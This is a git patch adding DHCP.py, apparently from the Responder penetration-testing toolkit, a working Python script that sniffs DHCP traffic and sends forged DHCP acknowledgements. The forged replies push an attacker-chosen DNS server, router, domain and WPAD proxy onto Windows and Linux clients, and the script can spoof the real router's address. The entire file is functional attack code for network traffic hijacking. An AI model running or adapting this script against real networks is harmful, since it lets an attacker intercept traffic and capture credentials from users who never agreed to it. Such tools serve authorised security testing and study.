From 365505f95c65c122041c654b8039ca27c4b483b6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 16 Apr 2014 18:18:27 -0400 Subject: [PATCH] initial commit --- DHCP.py | 325 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 325 insertions(+) create mode 100755 DHCP.py diff --git a/DHCP.py b/DHCP.py new file mode 100755 index 0000000..6b36e01 --- /dev/null +++ b/DHCP.py @@ -0,0 +1,325 @@ +#! /usr/bin/env python +# This utility is part of NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2014 Trustwave Holdings, Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import sys,struct,socket,re,optparse +from odict import OrderedDict +from socket import inet_aton, inet_ntoa + + +parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") + +parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") + +parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") + +parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") + +parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") + +parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") + +parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") + +parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD") + +parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof") + +parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request") + +options, args = parser.parse_args() + +def ShowWelcome(): + Message = 'DHCP INFORM Take Over 0.1\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nThis script will inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a linux box, use -R (noisy)' + print Message + +if options.OURIP is None: + print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n" + parser.print_help() + exit(-1) + +if options.Interface is None: + print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n" + parser.print_help() + exit(-1) + +if options.RouterIP is None: + print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n" + parser.print_help() + exit(-1) + +if options.DNSIP is None: + print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n" + parser.print_help() + exit(-1) + +if options.DNSIP2 is None: + print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n" + parser.print_help() + exit(-1) + +ShowWelcome() + +BCAST = "255.255.255.255" +Interface = options.Interface +OURIP = options.OURIP +ROUTERIP = options.RouterIP +NETMASK = options.Netmask +DHCPSERVER = options.OURIP +DNSIP = options.DNSIP +DNSIP2 = options.DNSIP2 +DNSNAME = options.DNSNAME +WPADSRV = options.WPAD +Spoof = options.Spoof +Request = options.Request + +if Spoof: + DHCPSERVER = ROUTERIP + +def SpoofIP(Spoof): + if Spoof: + return ROUTERIP + else: + return OURIP + + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + + +##################################################################### +# Server Stuff +##################################################################### + +class IPHead(Packet): + fields = OrderedDict([ + ("Version", "\x45"), + ("DiffServices", "\x00"), + ("TotalLen", "\x00\x00"), + ("Ident", "\x00\x00"), + ("Flags", "\x00\x00"), + ("TTL", "\x40"), + ("Protocol", "\x11"), + ("Checksum", "\x00\x00"), + ("SrcIP", ""), + ("DstIP", ""), + ]) + +class UDP(Packet): + fields = OrderedDict([ + ("SrcPort", "\x00\x43"), + ("DstPort", "\x00\x44"), + ("Len", "\x00\x00"), + ("Checksum", "\x00\x00"), + ("Data", "\x00\x00"), + ]) + + def calculate(self): + self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet. + +class DHCPACK(Packet): + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x22\x1b\xe0\x1a"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("Op53", "\x35\x01\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op51", "\x33"), + ("Op51Len", "\x04"), + ("Op51Str", "\x00\x00\xff\xff"), #Lease time, 1 day. + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", DNSNAME), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", WPADSRV), #Wpad Server. + ("Op255", "\xff"), + + ]) + + def calculate(self): + self.fields["Op54Str"] = inet_aton(DHCPSERVER) + self.fields["Op1Str"] = inet_aton(NETMASK) + self.fields["Op3Str"] = inet_aton(ROUTERIP) + self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) + self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) + self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) + +class DHCPInformACK(Packet): + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x22\x1b\xe0\x1a"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("Op53", "\x35\x01\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", DNSNAME), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", WPADSRV), #Wpad Server. + ("Op255", "\xff"), + + ]) + + def calculate(self): + self.fields["Op54Str"] = inet_aton(DHCPSERVER) + self.fields["Op1Str"] = inet_aton(NETMASK) + self.fields["Op3Str"] = inet_aton(ROUTERIP) + self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2) + self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME)) + self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV)) + +def ParseMac(data): + return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex')) + +def IsUDP(data): + if data[0][23:24] == "\x11": + return True + if data[0][23:24] == "\x06": + return False + +def ParseSrcDSTAddr(data): + SrcIP = inet_ntoa(data[0][26:30]) + DstIP = inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP,SrcPort,DstIP,DstPort + +def FindIP(data): + IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) + return ''.join(IP[0:4]) + +def ParseDHCPCode(data): + PTid = data[4:8] + Seconds = data[8:10] + CurrentIP = inet_ntoa(data[12:16]) + RequestedIP = inet_ntoa(data[16:20]) + MacAddr = data[28:34] + OpCode = data[242:243] + RequestIP = data[245:249] + if OpCode == "\x08": + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST)) + p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),(CurrentIP,68)) + return 'DHCP Inform received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex')) + + if OpCode == "\x03": + if Request: + IP = FindIP(data) + if IP: + i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(BCAST)) + p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x80\x00",ElapsedSec=Seconds) + p.calculate() + u = UDP(Data = p) + u.calculate() + for x in range(1): + SendDHCP(str(i)+str(u),("255.255.255.255",0)) + return 'DHCP Request received, Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,MacAddr.encode('hex'),PTid.encode('hex')) + else: + return False + + +def SendDHCP(packet,Host): + Protocol = 0x0800 + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(packet, Host) + +def SniffUDPMac(): + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) + Protocol = 0x0800 + s.bind((Interface, Protocol)) + while True: + data = s.recvfrom(65535) + if IsUDP(data): + SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data) + if SrcPort == 67 or DstPort == 67: + Message = ParseDHCPCode(data[0][42:]) + if Message: + print ParseMac(data) + print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort) + print Message + + +SniffUDPMac() +